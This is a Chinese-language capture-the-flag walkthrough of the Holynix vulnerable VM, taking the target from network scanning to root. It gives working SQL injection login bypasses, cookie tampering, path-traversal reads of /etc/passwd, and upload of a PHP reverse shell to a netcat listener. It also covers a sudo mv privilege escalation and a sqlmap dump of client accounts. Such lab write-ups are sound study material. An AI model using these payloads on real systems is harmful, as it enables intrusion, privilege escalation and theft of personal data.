Holynix
目标: The object of the challenge is to gain root level privileges and access to personal client information.
妙妙工具:
python -c 'import pty; pty.spawn("/bin/bash")'
环境配置
我已移动该虚拟机, NAT模式
- kali: 192.168.0.133
- target: 192.168.0.135
信息收集
nmap
# 获取靶机地址 192.168.0.135
sudo nmap -sn 192.168.0.0/24
# 获取端口信息 80
sudo nmap -sT --min-rate 10000 -p- 192.168.0.135 -oA scan/ports
# 获取详细信息 linux,php5.2.4,apache
sudo nmap -sT -sV -sC -O -p80 192.168.0.135 -oA scan/detail
# 看看漏洞
sudo nmap --script=vuln -p80 192.168.0.135 -oA scan/vuln80/http
只有个登录框, 给它加个单引号, 发现报错sql
不用想了, 直接万能密码登录
admin / 1'or'1'='1简单看两眼:
- Message Board和Calender模块中有一些对话
- Upload可以上传
- 注意到用户名是
alamo
事不宜迟, 先来试试这个Upload
随便上传, 发现没有权限上传:
Home directory uploading disabled for user alamo但是这也告诉我们文件上传之后的上传位置可能是用户的家目录
观察到url为/index.php?page=transfer.php, 应该是判断是否可以上传的文件
观察到请求包中有Cookie: uid=1, 尝试修改后重放, 发现每次返回用户名不同且有些uid可以上传文件, 明显存在水平越权
这是一个叫做etenenbaum的用户, 其uid为2且有上传权限

那么接下来就是怎么找到这个木马文件并访问了
没进展的话不急, 来看看其他的: 在Security这个模块, 可以通过修改请求包的text_file_name参数进行任意文件读取, 多堆几个../就能读取到/etc/passwd
诶, 既然有文件包含, 我们来看看upload.php和前面的transfer.php
很明显的看到$homedir就是/home/username, 不过还注意到:
- 普通上传是直接上传到
/home/username, 一般人不会傻到用root权限运行网站所以我们是www-data, 我们没法访问和运行这个文件里的东西 - 但是gzip解决了这个问题: 通过
sudo tar解压创建的文件可以让所有人运行, 更是有sudo mv这种天才操作
<?php
if ( $auth == 0 ) {
echo "<center><h2>Content Restricted</h2></center>";
} else {
if ( $upload == 1 )
{
$homedir = "/home/".$logged_in_user. "/";
$uploaddir = "upload/";
$target = $uploaddir . basename( $_FILES['uploaded']['name']) ;
$uploaded_type = $_FILES['uploaded']['type'];
$command=0;
$ok=1;
if ( $uploaded_type =="application/gzip" && $_POST['autoextract'] == 'true' ) { $command = 1; }
if ($ok==0)
{
echo "Sorry your file was not uploaded";
echo "<a href='?index.php?page=upload.php' >Back to upload page</a>";
} else {
if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target))
{
echo "<h3>The file '" .$_FILES['uploaded']['name']. "' has been uploaded.</h3><br />";
echo "The ownership of the uploaded file(s) have been changed accordingly.";
echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
if ( $command == 1 )
{
exec("sudo tar xzf " .$target. " -C " .$homedir);
exec("rm " .$target);
} else {
exec("sudo mv " .$target. " " .$homedir . $_FILES['uploaded']['name']);
}
exec("/var/apache2/htdocs/update_own");
} else {
echo "Sorry, there was a problem uploading your file.<br />";
echo "<br /><a href='?page=upload.php' >Back to upload page</a>";
}
}
} else { echo "<br /><br /><h3>Home directory uploading disabled for user " .$logged_in_user. "</h3>"; }
}
?>问题来了, 访问/home/alamo都会显示无权限, 到这里就卡住了
经过一番搜索(搜索词
访问 /home/username), 发现了这个东西:Apache的
mod_userdir模块: 默认情况下启用该模块时,通过/~username格式可直接访问用户家目录中的 public_html 文件夹
还有这种好事, 直接来试试, 成功访问:

剩下的就是利用:
getshell
打包并上传文件(文件在/usr/share/webshells/php/php-reverse-shell.php, 记得改一下目标端口和ip):
tar czf shell.tar.gz php-reverse-shell.php下面那个图是上传正向shell的, 我自己写的shell好像总是不行, 可能是特征太明显了? 另外kali同时也给了
php-backdoor.php, 也能用
修改数据包并上传

kali监听, 然后访问/~etenenbaum/php-reverse-shell.php即可
nc -lvnp 10000信息收集
# 系统信息
uname -a
# 内核版本 2.6.24-26-server
uname -r
# 查看发行版的信息 Ubuntu 8.04.4 LTS
cat /etc/*release
# 查看环境
python -h
gcc -v
# 查看权限, 免密使用mv, tar, chgrp, chown
sudo -l到这里已经可以结束了, 利用mv替换掉原来有sudo权限的命令即可
提权
sudo mv /bin/tar /bin/tar.bak
sudo mv /bin/su /bin/tar
sudo tar这就已经拿到root了, 怎么没有flag
其他
获取用户信息
最后说的这个获取用户信息是啥, 如果是数据库的话, 登录界面通过sqlmap爆就好了:
将登录的请求包保存为bp.txt, 然后执行就行
sqlmap -r bp.txt -D clients -T accounts --dump登录其他用户
可以在登录界面通过构造sql语句登录etenenbaum
' or username='etenenbaum' #文件权限

解压会还原打包时文件的644权限, 只执行mv移动文件不修改600权限, 所以直接上传的文件无法执行
root/普通用户默认umask 022 → 文件默认 644
www-data默认umask 077 → 文件默认 600